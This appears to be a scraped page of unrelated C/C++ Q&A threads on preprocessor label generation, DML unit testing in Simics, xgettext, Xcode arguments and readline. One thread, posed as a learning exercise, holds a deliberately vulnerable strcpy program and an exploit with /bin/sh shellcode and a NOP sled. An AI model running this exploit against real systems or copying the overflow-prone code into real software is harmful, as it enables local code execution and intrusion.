I'm writing a bunch of related preprocessor macros, one of which generates labels which the other one jumps to. I use them in this fashion:
MAKE_FUNNY_JUMPING_LOOP(
MAKE_LABEL();
MAKE_LABEL();
)
I need some way to generate unique labels, one for each inner MAKE_LABEL call, with the preprocessor. I've tried using __LINE__, but since I call MAKE_LABEL inside another macro, they all have the same line and the labels collide.
What I'd like this to expand to is something like:
MAKE_FUNNY_JUMPING_LOOP(
my_cool_label_1: // from first inner macro
...
my_cool_label_2: // from second inner macro
...
)
Is there a way to generate hashes or auto-incrementing integers with the preprocessor?
If you're using GCC or MSVC, there is __COUNTER__.
Other than that, you could do something vomit-worthy, like:
#ifndef USED_1
#define USED_1
1
#else
#ifndef USED_2
#define USED_2
2
/* many many more */
#endif
#endif
I use this:
#define MERGE_(a,b) a##b
#define LABEL_(a) MERGE_(unique_name_, a)
#define UNIQUE_NAME LABEL_(__LINE__)
int main()
{
int UNIQUE_NAME = 1;
return 0;
}
... and get the following:
int main()
{
int unique_name_8 = 1;
return 0;
}
As others noted, __COUNTER__ is the easy but nonstandard way of doing this.
If you need extra portability, or for other cool preprocessor tricks, the Boost Preprocessor library (which works for C as well as C++) will work. For example, the following header file will output a unique label wherever it's included.
#include <boost/preprocessor/arithmetic/inc.hpp>
#include <boost/preprocessor/slot/slot.hpp>
#if !defined(UNIQUE_LABEL)
#define UNIQUE_LABEL
#define BOOST_PP_VALUE 1
#include BOOST_PP_ASSIGN_SLOT(1)
#undef BOOST_PP_VALUE
#else
#define BOOST_PP_VALUE BOOST_PP_INC(BOOST_PP_SLOT(1))
#include BOOST_PP_ASSIGN_SLOT(1)
#undef BOOST_PP_VALUE
#endif
BOOST_PP_CAT(my_cool_label_, BOOST_PP_SLOT(1)):
Sample:
int main(int argc, char *argv[]) {
#include "unique_label.h"
printf("%x\n", 1234);
#include "unique_label.h"
printf("%x\n", 1234);
#include "unique_label.h"
return 0;
}
preprocesses to
int main(int argc, char *argv[]) {
my_cool_label_1:
printf("%x\n", 1234);
my_cool_label_2:
printf("%x\n", 1234);
my_cool_label_3:
return 0;
}
I can't think of a way to automatically generate them but you could pass a parameter to MAKE_LABEL:
#define MAKE_LABEL(n) my_cool_label_##n:
Then...
MAKE_FUNNY_JUMPING_LOOP(
MAKE_LABEL(0);
MAKE_LABEL(1);
)
You could do this:
#define MAKE_LABEL() \
do { \
my_cool_label: \
/* some stuff */; \
goto my_cool_label; \
/* other stuff */; \
} while (0)
This keeps the scope of the label local, allowing any number of them inside the primary macro.
If you want the labels to be accessed more globally, it's not clear how your macro "MAKE_FUNNY_JUMPING_LOOP" references these labels. Can you explain?
It doesn't seem possible with a standard preprocessor, although you could fake it out by putting parameters within MAKE_LABEL or MAKE_FUNNY_JUMPING_LOOP, and use token pasting to create the label.
There's nothing preventing you from making your own preprocessing script that does the automatic increment for you. However, it won't be a standard C/C++ file in that case.
A list of commands available: http://www.cppreference.com/wiki/preprocessor/start
Related
I'm writing some common DML code that contains a fairly complex method, something like:
saved uint32 checksum_ini;
method calculate_checksum(bytes_t data) -> (uint32 sum) {
uint32 result = checksum_ini;
for (int i = 0; i < data.size; ++i) {
result = f(result, data.data[i]);
}
return result;
}
My device calls the function indirectly by reading and writing some registers, which makes it cumbersome to unit test all corner cases of the checksum algorithm.
How can I efficiently write a unit test for my checksum implementation?
One approach is to create a dedicated test module, say test-checksum, containing a test device, say test_checksum_dev, that imports only your common code, and exposes the calculate_checksum method to Python, where it is easy to write tests. This is done in two steps: First, expose the method to C:
dml 1.4;
device test_checksum_dev;
import "checksum-common.dml";
// Make DML method calculate_checksum available as extern C symbol "calculate_checksum"
// The signature will be:
// uint64 calculate_checksum(conf_object_t *obj, bytes_t data)
export calculate_checksum as "calculate_checksum";
The second step is to expose it to Python. Create checksum.h:
#ifndef CHECKSUM_H
#define CHECKSUM_H
#include <simics/base/types.h>
#include <simics/pywrap.h>
extern uint32 calculate_checksum(conf_object_t *obj, bytes_t data);
#endif /* CHECKSUM_H */
(if you also add header %{ #include "checksum.h" %} to the DML file, you will get a hard check that signatures stay consistent).
Now add the header file to IFACE_FILES in your module makefile to create a Python wrapping:
SRC_FILES = test-checksum.dml
IFACE_FILES = checksum.h
include $(MODULE_MAKEFILE)
You can now call the DML method directly from your test:
SIM_load_module('test-checksum')
from simmod.test_checksum.checksum import calculate_checksum
obj = SIM_create_object('test_checksum_dev', 'dev', checksum_ini=0xdeadbeef)
assert calculate_checksum(obj, b'hello world') == (0xda39ba47).to_bytes(4, 'little')
I've been practicing some basic stack-based buffer overflow task recently
and I wrote an vulnerable program like this:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
if (argc<2) {
puts("Need enough args!!");
exit(0);
}
char buf[400];
strcpy(buf,argv[1]);
printf("Hi, %s\n",buf);
return 0;
}
and the exploit program like this:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
char *atk,vul[]="./vul1 ";
atk=(char*)malloc(sizeof(char)*ATK_L);
unsigned long i,ret,*ptr,ptr2;
ret=(unsigned long)atk;
ptr=(unsigned long*)atk;
for(i=0;i<ATK_L;i+=4){
*(ptr++)=ret;
}
for(i=0;i<NOP_L;i++){
atk[i]='\x90';
}
ptr2=0;
for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
atk[i]=shellcode[ptr2++];
}
atk[ATK_L-1]='\0';
strcat(vul,atk);
system(vul);
free(atk);
return 0;
}
Since I don't want to determine the offset , I just jump back to the beginning of the atk array . I turn off the ASLR & put the -fno-stack-protector flag when compiling , but when I run the exploit program it just say core dump and do nothing!! I use gdb to debug the exploit program and it said that it was killed in the getenv function and I just cant get understand.
I work on ubuntu 11.10 32bits
Thanks a lot :-)
I will try to use gnu-gettext for localization of a semi-big software project, so now I'm trying to learn the basics. Problem is that I got stuck on a pretty fundamental function. When I try to extract the strings from the sourcecode using xgettext I get nothing. When dll's were missing it complained, and when a parameter is wrong it complains, but now it just silently returns without producing any pot-file or anything else.
So, my question is:
Is there anybody out there recognizing this problem?
Is there any way to make xgettext more verbose about what it is doing?
I have tried putting xgettext among the source-files and putting the sourcefiles in the gettext\bin directory, but to no avail.
I should mention that I am working on a Win7-machine and I use gettext-tools-dev_0.18.1.1-2_win32. I have installed MinGW.
My testcode locks like this:
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include "libintl.h"
#include "locale.h"
#include "helper.h"
#define _(String) gettext(String)
#define N_(String) String
//#define textdomain(Domain)
//#define bindtextdomain(Package, Directory)
int main(void)
{
printf( "setlocale returns %s\n", setlocale( LC_ALL, "" ) );
bindtextdomain( "hello", "locale" );
textdomain( "hello" );
int a = 1;
int b = 2;
/// First string
printf( _( "Hello, world!\n" ) );
std::string multiline =
/* Another string */
_( "This is a " \
"multi line string." );
// A string that contains another
printf( _( "A string: %s\n" ), multiline.c_str() );
printf( N_( "An untranslatable string!\n" ));
int foo = 42;
/// Playing with positions; int before string in original...
printf( _( "int: %1$d, string: %2$s\n" ), foo, _( "Fubar" ));
printf( _( "%1$s %2$s\n" ), Helper::String1().c_str(), Helper::String2().c_str() );
exit(0);
}
If somebody could help me out on this, I would be thankful.
/Robert
Ok, I solved it. I somehow thought that xgettext would understand the redefinition:
#define _(String) gettext(String)
Well, obviously it didn't and when I read the manual carefully it kind of said that as well.
So when I added -k_ to the xgettext options it all worked.
/Robert
I'm trying to pass arguments in XCode and understand you need to add them from the Args tab, using the Get Info button, in the Executables of the Groups and Files pane. I'm trying to see if I can get it to work, but am having some difficulty. My program is simply:
#include <iostream>
#include <ostream>
using namespace std;
int main(int argc, char *argv[]) {
for (int i = 0; i < argc; i++) {
cout << argv[i];
}
return 0;
}
And in the Args tab, I have the number 2 and then in another line the number 1. I do not get any output when I run the program. What am I doing wrong? Thanks!
Your code works fine and it displays the arguments.
You may want to print a new line after each argument to make the output more readable:
cout << argv[i] << "\n";
Output is visible in the console (use Command+Shift+R to bring up the console).
I have stdin in a select() set and I want to take a string from stdin whenever the user types it and hits Enter.
But select is triggering stdin as ready to read before Enter is hit, and, in rare cases, before anything is typed at all. This hangs my program on getstr() until I hit Enter.
I tried setting nocbreak() and it's perfect really except that nothing gets echoed to the screen so I can't see what I'm typing. And setting echo() doesn't change that.
I also tried using timeout(0), but the results of that was even crazier and didn't work.
What you need to do is tho check if a character is available with the getch() function. If you use it in no-delay mode the method will not block. Then you need to eat up the characters until you encounter a '\n', appending each char to the resulting string as you go.
Alternatively - and the method I use - is to use the GNU readline library. It has support for non-blocking behavior, but documentation about that section is not so excellent.
Included here is a small example that you can use. It has a select loop, and uses the GNU readline library:
#include <stdio.h>
#include <readline/readline.h>
#include <readline/history.h>
#include <stdlib.h>
#include <stdbool.h>
int quit = false;
void rl_cb(char* line)
{
if (NULL==line) {
quit = true;
return;
}
if(strlen(line) > 0) add_history(line);
printf("You typed:\n%s\n", line);
free(line);
}
int main()
{
struct timeval to;
const char *prompt = "# ";
rl_callback_handler_install(prompt, (rl_vcpfunc_t*) &rl_cb);
to.tv_sec = 0;
to.tv_usec = 10000;
while(1){
if (quit) break;
select(1, NULL, NULL, NULL, &to);
rl_callback_read_char();
};
rl_callback_handler_remove();
return 0;
}
Compile with:
gcc -Wall rl.c -lreadline